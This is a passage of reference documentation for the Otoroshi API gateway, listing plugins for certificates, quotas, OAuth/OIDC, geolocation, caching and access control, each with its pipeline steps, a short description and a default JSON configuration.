false\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgCertificateAsApikey }\n\n## Client certificate as apikey\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgCertificateAsApikey`\n\n### Description\n\nThis plugin uses client certificate as an apikey. The apikey will be stored for classic apikey usage\n\n\n\n### Default configuration\n\n```json\n{\n \"read_only\" : false,\n \"allow_client_id_only\" : false,\n \"throttling_quota\" : 100,\n \"daily_quota\" : 10000000,\n \"monthly_quota\" : 10000000,\n \"constrained_services_only\" : false,\n \"tags\" : [ ],\n \"metadata\" : { }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgClientCertChainHeader }\n\n## Client certificate header\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgClientCertChainHeader`\n\n### Description\n\nThis plugin pass client certificate informations to the target in headers\n\n\n\n### Default configuration\n\n```json\n{\n \"send_pem\" : false,\n \"pem_header_name\" : \"X-Client-Cert-Pem\",\n \"send_dns\" : false,\n \"dns_header_name\" : \"X-Client-Cert-DNs\",\n \"send_chain\" : false,\n \"chain_header_name\" : \"X-Client-Cert-Chain\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgClientCredentialTokenEndpoint }\n\n## Client credential token endpoint\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgClientCredentialTokenEndpoint`\n\n### Description\n\nThis plugin provide the endpoint for the client_credential flow token endpoint\n\n\n\n### Default configuration\n\n```json\n{\n \"expiration\" : 3600000,\n \"default_key_pair\" : \"otoroshi-jwt-signing\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgClientCredentials }\n\n## Client Credential Service\n\n### Defined on steps\n\n - `Sink`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgClientCredentials`\n\n### Description\n\nThis plugin add an an oauth client credentials service (`https://unhandleddomain/.well-known/otoroshi/oauth/token`) to create an access_token given a client id and secret\n\n\n\n### Default configuration\n\n```json\n{\n \"expiration\" : 3600000,\n \"default_key_pair\" : \"otoroshi-jwt-signing\",\n \"domain\" : \"*\",\n \"secure\" : true,\n \"biscuit\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgCustomQuotas }\n\n## Custom quotas\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgCustomQuotas`\n\n### Description\n\nThis plugin will enforce quotas on the current route based on whatever you want\n\n\n\n### Default configuration\n\n```json\n{\n \"per_route\" : true,\n \"global\" : false,\n \"group\" : null,\n \"expression\" : \"${req.ip}\",\n \"daily_quota\" : 10000000,\n \"monthly_quota\" : 10000000\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgCustomThrottling }\n\n## Custom throttling\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgCustomThrottling`\n\n### Description\n\nThis plugin will enforce throttling on the current route based on whatever you want\n\n\n\n### Default configuration\n\n```json\n{\n \"per_route\" : true,\n \"global\" : false,\n \"group\" : null,\n \"expression\" : \"${req.ip}\",\n \"throttling_quota\" : 100\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgDefaultRequestBody }\n\n## Default request body\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgDefaultRequestBody`\n\n### Description\n\nThis plugin adds a default request body if none specified\n\n\n\n### Default configuration\n\n```json\n{\n \"bodyBinary\" : \"\",\n \"contentType\" : \"text/plain\",\n \"contentEncoding\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgDeferPlugin }\n\n## Defer Responses\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgDeferPlugin`\n\n### Description\n\nThis plugin will expect a `X-Defer` header or a `defer` query param and defer the response according to the value in milliseconds.\nThis plugin is some kind of inside joke as one a our customer ask us to make slower apis.\n\n\n\n### Default configuration\n\n```json\n{\n \"duration\" : 0\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgDiscoverySelfRegistrationSink }\n\n## Global self registration endpoints (service discovery)\n\n### Defined on steps\n\n - `Sink`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgDiscoverySelfRegistrationSink`\n\n### Description\n\nThis plugin add support for self registration endpoint on specific hostnames\n\n\n\n### Default configuration\n\n```json\n{ }\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgDiscoverySelfRegistrationTransformer }\n\n## Self registration endpoints (service discovery)\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgDiscoverySelfRegistrationTransformer`\n\n### Description\n\nThis plugin add support for self registration endpoint on a specific service\n\n\n\n### Default configuration\n\n```json\n{ }\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgDiscoveryTargetsSelector }\n\n## Service discovery target selector (service discovery)\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgDiscoveryTargetsSelector`\n\n### Description\n\nThis plugin select a target in the pool of discovered targets for this service.\nUse in combination with either `DiscoverySelfRegistrationSink` or `DiscoverySelfRegistrationTransformer` to make it work using the `self registration` pattern.\nOr use an implementation of `DiscoveryJob` for the `third party registration pattern`.\n\n\n\n### Default configuration\n\n```json\n{ }\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgErrorRewriter }\n\n## Error response rewrite\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgErrorRewriter`\n\n### Description\n\nThis plugin catch http response with specific statuses and rewrite the response\n\n\n\n### Default configuration\n\n```json\n{\n \"ranges\" : [ {\n \"from\" : 500,\n \"to\" : 599\n } ],\n \"templates\" : {\n \"default\" : \"\\n \\n

An error occurred with id: ${error_id}

\\n

please contact your administrator with this error id !

\\n \\n\"\n },\n \"log\" : true,\n \"export\" : true\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgGeolocationInfoEndpoint }\n\n## Geolocation endpoint\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgGeolocationInfoEndpoint`\n\n### Description\n\nThis plugin will expose current geolocation informations on the following endpoint `/.well-known/otoroshi/plugins/geolocation`\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgGeolocationInfoHeader }\n\n## Geolocation header\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgGeolocationInfoHeader`\n\n### Description\n\nThis plugin will send informations extracted by the Geolocation details extractor to the target service in a header.\n\n\n\n### Default configuration\n\n```json\n{\n \"header_name\" : \"X-User-Agent-Info\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgHasAllowedUsersValidator }\n\n## Allowed users only\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgHasAllowedUsersValidator`\n\n### Description\n\nThis plugin only let allowed users pass\n\n\n\n### Default configuration\n\n```json\n{\n \"usernames\" : [ ],\n \"emails\" : [ ],\n \"email_domains\" : [ ],\n \"metadata_match\" : [ ],\n \"metadata_not_match\" : [ ],\n \"profile_match\" : [ ],\n \"profile_not_match\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgHasClientCertMatchingApikeyValidator }\n\n## Client Certificate + Api Key only\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgHasClientCertMatchingApikeyValidator`\n\n### Description\n\nCheck if a client certificate is present in the request and that the apikey used matches the client certificate.\nYou can set the client cert. DN in an apikey metadata named `allowed-client-cert-dn`\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgHasClientCertMatchingHttpValidator }\n\n## Client certificate matching (over http)\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgHasClientCertMatchingHttpValidator`\n\n### Description\n\nCheck if client certificate matches the following fetched from an http endpoint\n\n\n\n### Default configuration\n\n```json\n{\n \"serial_numbers\" : [ ],\n \"subject_dns\" : [ ],\n \"issuer_dns\" : [ ],\n \"regex_subject_dns\" : [ ],\n \"regex_issuer_dns\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgHasClientCertMatchingValidator }\n\n## Client certificate matching\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgHasClientCertMatchingValidator`\n\n### Description\n\nCheck if client certificate matches the following configuration\n\n\n\n### Default configuration\n\n```json\n{\n \"serial_numbers\" : [ ],\n \"subject_dns\" : [ ],\n \"issuer_dns\" : [ ],\n \"regex_subject_dns\" : [ ],\n \"regex_issuer_dns\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgHasClientCertValidator }\n\n## Client Certificate Only\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgHasClientCertValidator`\n\n### Description\n\nCheck if a client certificate is present in the request\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgHtmlPatcher }\n\n## Html Patcher\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgHtmlPatcher`\n\n### Description\n\nThis plugin can inject elements in html pages (in the body or in the head) returned by the service\n\n\n\n### Default configuration\n\n```json\n{\n \"append_head\" : [ ],\n \"append_body\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgHttpClientCache }\n\n## HTTP Client Cache\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgHttpClientCache`\n\n### Description\n\nThis plugin add cache headers to responses\n\n\n\n### Default configuration\n\n```json\n{\n \"max_age_seconds\" : 86400,\n \"methods\" : [ \"GET\" ],\n \"status\" : [ 200 ],\n \"mime_types\" : [ \"text/html\" ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgIpStackGeolocationInfoExtractor }\n\n## Geolocation details extractor (using IpStack api)\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgIpStackGeolocationInfoExtractor`\n\n### Description\n\nThis plugin extract geolocation informations from ip address using the [IpStack dbs](https://ipstack.com/).\nThe informations are store in plugins attrs for other plugins to use\n\n\n\n### Default configuration\n\n```json\n{\n \"apikey\" : null,\n \"timeout\" : 2000,\n \"log\" : false\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgIzanamiV1Canary }\n\n## Izanami V1 Canary Campaign\n\n### Defined on steps\n\n - `TransformRequest`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgIzanamiV1Canary`\n\n### Description\n\nThis plugin allow you to perform canary testing based on an izanami experiment campaign (A/B test)\n\n\n\n### Default configuration\n\n```json\n{\n \"experiment_id\" : \"foo:bar:qix\",\n \"config_id\" : \"foo:bar:qix:config\",\n \"izanami_url\" : \"https://izanami.foo.bar\",\n \"tls\" : {\n \"certs\" : [ ],\n \"trusted_certs\" : [ ],\n \"enabled\" : false,\n \"loose\" : false,\n \"trust_all\" : false\n },\n \"client_id\" : \"client\",\n \"client_secret\" : \"secret\",\n \"timeout\" : 5000,\n \"route_config\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgIzanamiV1Proxy }\n\n## Izanami v1 APIs Proxy\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgIzanamiV1Proxy`\n\n### Description\n\nThis plugin exposes routes to proxy Izanami configuration and features tree APIs\n\n\n\n### Default configuration\n\n```json\n{\n \"path\" : \"/api/izanami\",\n \"feature_pattern\" : \"*\",\n \"config_pattern\" : \"*\",\n \"auto_context\" : false,\n \"features_enabled\" : true,\n \"features_with_context_enabled\" : true,\n \"configuration_enabled\" : false,\n \"tls\" : {\n \"certs\" : [ ],\n \"trusted_certs\" : [ ],\n \"enabled\" : false,\n \"loose\" : false,\n \"trust_all\" : false\n },\n \"izanami_url\" : \"https://izanami.foo.bar\",\n \"client_id\" : \"client\",\n \"client_secret\" : \"secret\",\n \"timeout\" : 500\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgJwtUserExtractor }\n\n## Jwt user extractor\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgJwtUserExtractor`\n\n### Description\n\nThis plugin extract a user from a JWT token\n\n\n\n### Default configuration\n\n```json\n{\n \"verifier\" : \"none\",\n \"strict\" : true,\n \"strip\" : false,\n \"name_path\" : null,\n \"email_path\" : null,\n \"meta_path\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgLegacyApikeyCall }\n\n## Legacy apikeys\n\n### Defined on steps\n\n - `MatchRoute`\n - `ValidateAccess`\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgLegacyApikeyCall`\n\n### Description\n\nThis plugin expects to find an apikey to allow the request to pass. This plugin behaves exactly like the service descriptor does\n\n\n\n### Default configuration\n\n```json\n{\n \"public_patterns\" : [ ],\n \"private_patterns\" : [ ],\n \"extractors\" : {\n \"basic\" : {\n \"enabled\" : true,\n \"header_name\" : null,\n \"query_name\" : null\n },\n \"custom_headers\" : {\n \"enabled\" : true,\n \"client_id_header_name\" : null,\n \"client_secret_header_name\" : null\n },\n \"client_id\" : {\n \"enabled\" : true,\n \"header_name\" : null,\n \"query_name\" : null\n },\n \"jwt\" : {\n \"enabled\" : true,\n \"secret_signed\" : true,\n \"keypair_signed\" : true,\n \"include_request_attrs\" : false,\n \"max_jwt_lifespan_sec\" : null,\n \"header_name\" : null,\n \"query_name\" : null,\n \"cookie_name\" : null\n }\n },\n \"routing\" : {\n \"enabled\" : false\n },\n \"validate\" : true,\n \"mandatory\" : true,\n \"pass_with_user\" : false,\n \"wipe_backend_request\" : true,\n \"update_quotas\" : true\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgLegacyAuthModuleCall }\n\n## Legacy Authentication\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgLegacyAuthModuleCall`\n\n### Description\n\nThis plugin applies an authentication module the same way service descriptor does\n\n\n\n### Default configuration\n\n```json\n{\n \"public_patterns\" : [ ],\n \"private_patterns\" : [ ],\n \"pass_with_apikey\" : false,\n \"auth_module\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgLog4ShellFilter }\n\n## Log4Shell mitigation plugin\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgLog4ShellFilter`\n\n### Description\n\nThis plugin try to detect Log4Shell attacks in request and block them\n\n\n\n### Default configuration\n\n```json\n{\n \"status\" : 200,\n \"body\" : \"\",\n \"parse_body\" : false\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgMaxMindGeolocationInfoExtractor }\n\n## Geolocation details extractor (using Maxmind db)\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgMaxMindGeolocationInfoExtractor`\n\n### Description\n\nThis plugin extract geolocation informations from ip address using the [Maxmind dbs](https://www.maxmind.com/en/geoip2-databases).\nThe informations are store in plugins attrs for other plugins to use\n\n\n\n### Default configuration\n\n```json\n{\n \"path\" : \"global\",\n \"log\" : false\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgResponseCache }\n\n## Response Cache\n\n### Defined on steps\n\n - `TransformRequest`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgResponseCache`\n\n### Description\n\nThis plugin can cache responses from target services in the otoroshi datasstore\nIt also provides a debug UI at `/.well-known/otoroshi/bodylogger`.\n\n\n\n### Default configuration\n\n```json\n{\n \"ttl\" : 3600000,\n \"maxSize\" : 52428800,\n \"autoClean\" : true,\n \"filter\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgSecurityTxt }\n\n## Security Txt\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgSecurityTxt`\n\n### Description\n\nThis plugin exposes a special route `/.well-known/security.txt` as proposed at [https://securitytxt.org/](https://securitytxt.org/)\n\n\n\n### Default configuration\n\n```json\n{\n \"contact\" : \"contact@foo.bar\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgServiceQuotas }\n\n## Public quotas\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgServiceQuotas`\n\n### Description\n\nThis plugin will enforce public quotas on the current route\n\n\n\n### Default configuration\n\n```json\n{\n \"throttling_quota\" : 10000000,\n \"daily_quota\" : 10000000,\n \"monthly_quota\" : 10000000\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgTrafficMirroring }\n\n## Traffic Mirroring\n\n### Defined on steps\n\n - `TransformRequest`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgTrafficMirroring`\n\n### Description\n\nThis plugin will mirror every request to other targets\n\n\n\n### Default configuration\n\n```json\n{\n \"to\" : \"https://foo.bar.dev\",\n \"enabled\" : true,\n \"capture_response\" : false,\n \"generate_events\" : false\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgUserAgentExtractor }\n\n## User-Agent details extractor\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgUserAgentExtractor`\n\n### Description\n\nThis plugin extract informations from User-Agent header such as browsser version, OS version, etc.\nThe informations are store in plugins attrs for other plugins to use\n\n\n\n### Default configuration\n\n```json\n{\n \"log\" : false\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgUserAgentInfoEndpoint }\n\n## User-Agent endpoint\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgUserAgentInfoEndpoint`\n\n### Description\n\nThis plugin will expose current user-agent informations on the following endpoint: /.well-known/otoroshi/plugins/user-agent\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgUserAgentInfoHeader }\n\n## User-Agent header\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgUserAgentInfoHeader`\n\n### Description\n\nThis plugin will sent informations extracted by the User-Agent details extractor to the target service in a header\n\n\n\n### Default configuration\n\n```json\n{\n \"header_name\" : \"X-User-Agent-Info\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.OAuth1Caller }\n\n## OAuth1 caller\n\n### Defined on steps\n\n - `TransformRequest`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.OAuth1Caller`\n\n### Description\n\nThis plugin can be used to call api that are authenticated using OAuth1.\n Consumer key, secret, and OAuth token et OAuth token secret can be pass through the metadata of an api key\n or via the configuration of this plugin.\n\n\n\n### Default configuration\n\n```json\n{\n \"consumerKey\" : null,\n \"consumerSecret\" : null,\n \"token\" : null,\n \"tokenSecret\" : null,\n \"algo\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.OAuth2Caller }\n\n## OAuth2 caller\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.OAuth2Caller`\n\n### Description\n\nThis plugin can be used to call api that are authenticated using OAuth2 client_credential/password flow.\nDo not forget to enable client retry to handle token generation on expire.\n\n\n\n### Default configuration\n\n```json\n{\n \"kind\" : \"client_credentials\",\n \"url\" : \"https://127.0.0.1:8080/oauth/token\",\n \"method\" : \"POST\",\n \"headerName\" : \"Authorization\",\n \"headerValueFormat\" : \"Bearer %s\",\n \"jsonPayload\" : false,\n \"clientId\" : \"the client_id\",\n \"clientSecret\" : \"the client_secret\",\n \"scope\" : null,\n \"audience\" : null,\n \"user\" : null,\n \"password\" : null,\n \"cacheTokenSeconds\" : 600000,\n \"tlsConfig\" : {\n \"certs\" : [ ],\n \"trustedCerts\" : [ ],\n \"mtls\" : false,\n \"loose\" : false,\n \"trustAll\" : false\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.OIDCAccessTokenAsApikey }\n\n## OIDC access_token as apikey\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.OIDCAccessTokenAsApikey`\n\n### Description\n\nThis plugin will use the third party apikey configuration to generate an apikey\n\n\n\n### Default configuration\n\n```json\n{\n \"enabled\" : true,\n \"atLeastOne\" : false,\n \"config\" : {\n \"enabled\" : true,\n \"quotasEnabled\" : true,\n \"uniqueApiKey\" : false,\n \"type\" : \"OIDC\",\n \"oidcConfigRef\" : \"some-oidc-auth-module-id\",\n \"localVerificationOnly\" : false,\n \"mode\" : \"Tmp\",\n \"ttl\" : 0,\n \"headerName\" : \"Authorization\",\n \"throttlingQuota\" : 100,\n \"dailyQuota\" : 10000000,\n \"monthlyQuota\" : 10000000,\n \"excludedPatterns\" : [ ],\n \"scopes\" : [ ],\n \"rolesPath\" : [ ],\n \"roles\" : [ ]\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.OIDCAccessTokenValidator }\n\n## OIDC access_token validator\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.OIDCAccessTokenValidator`\n\n### Description\n\nThis plugin will use the third party apikey configuration and apply it while keeping the apikey mecanism of otoroshi.\nUse it to combine apikey validation and OIDC access_token validation.\n\n\n\n### Default configuration\n\n```json\n{\n \"enabled\" : true,\n \"atLeastOne\" : false,\n \"config\" : {\n \"enabled\" : true,\n \"quotasEnabled\" : true,\n \"uniqueApiKey\" : false,\n \"type\" : \"OIDC\",\n \"oidcConfigRef\" : \"some-oidc-auth-module-id\",\n \"localVerificationOnly\" : false,\n \"mode\" : \"Tmp\",\n \"ttl\" : 0,\n \"headerName\" : \"Authorization\",\n \"throttlingQuota\" : 100,\n \"dailyQuota\" : 10000000,\n \"monthlyQuota\" : 10000000,\n \"excludedPatterns\" : [ ],\n \"scopes\" : [ ],\n \"rolesPath\" : [ ],\n \"roles\" : [ ]\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.OIDCHeaders }\n\n## OIDC headers\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.OIDCHeaders`\n\n### Description\n\nThis plugin injects headers containing tokens and profile from current OIDC provider.\n\n\n\n### Default configuration\n\n```json\n{\n \"profile\" : {\n \"send\" : false,\n \"headerName\" : \"X-OIDC-User\"\n },\n \"idToken\" : {\n \"send\" : false,\n \"name\" : \"id_token\",\n \"headerName\" : \"X-OIDC-Id-Token\",\n \"jwt\" : true\n },\n \"accessToken\" : {\n \"send\" : false,\n \"name\" : \"access_token\",\n \"headerName\" : \"X-OIDC-Access-Token\",\n \"jwt\" : true\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.OtoroshiChallenge }\n\n## Otoroshi challenge token\n\n### Defined on steps\n\n - `TransformRequest`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.OtoroshiChallenge`\n\n### Description\n\nThis plugin adds a jwt challenge token to the request to a backend and expects a response with a matching token\n\n\n\n### Default configuration\n\n```json\n{\n \"version\" : \"V2\",\n \"ttl\" : 30,\n \"request_header_name\" : null,\n \"response_header_name\" : null,\n \"algo_to_backend\" : {\n \"type\" : \"HSAlgoSettings\",\n \"size\" : 512,\n \"secret\" : \"secret\",\n \"base64\" : false\n },\n \"algo_from_backend\" : {\n \"type\" : \"HSAlgoSettings\",\n \"size\" : 512,\n \"secret\" : \"secret\",\n \"base64\" : false\n },\n \"state_resp_leeway\" : 10\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.OtoroshiHeadersIn }\n\n## Otoroshi headers in\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.OtoroshiHeadersIn`\n\n### Description\n\nThis plugin adds Otoroshi specific headers to the request\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.OtoroshiInfos }\n\n## Otoroshi info. token\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.OtoroshiInfos`\n\n### Description\n\nThis plugin adds a jwt token with informations about the caller to the backend\n\n\n\n### Default configuration\n\n```json\n{\n \"version\" : \"Latest\",\n \"ttl\" : 30,\n \"header_name\" : null,\n \"add_fields\" : null,\n \"algo\" : {\n \"type\" : \"HSAlgoSettings\",\n \"size\" : 512,\n \"secret\" : \"secret\",\n \"base64\" : false\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.OverrideHost }\n\n## Override host header\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.OverrideHost`\n\n### Description\n\nThis plugin override the current Host header with the Host of the backend target\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.PublicPrivatePaths }\n\n## Public/Private paths\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.PublicPrivatePaths`\n\n### Description\n\nThis plugin allows or forbid request based on path patterns\n\n\n\n### Default configuration\n\n```json\n{\n \"strict\" : false,\n \"private_patterns\" : [ ],\n \"public_patterns\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.QueryTransformer }\n\n## Query param transformer\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.QueryTransformer`\n\n### Description\n\nThis plugin can modify the query params of the request\n\n\n\n### Default configuration\n\n```json\n{\n \"remove\" : [ ],\n \"rename\" : { },\n \"add\" : { }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.RBAC }\n\n## RBAC\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.RBAC`\n\n### Description\n\nThis plugin check if current user/apikey/jwt token has the right role\n\n\n\n### Default configuration\n\n```json\n{\n \"allow\" : [ ],\n \"deny\" : [ ],\n \"allow_all\" : false,\n \"deny_all\" : false,\n \"jwt_path\" : null,\n \"apikey_path\" : null,\n \"user_path\" : null,\n \"role_prefix\" : null,\n \"roles\" : 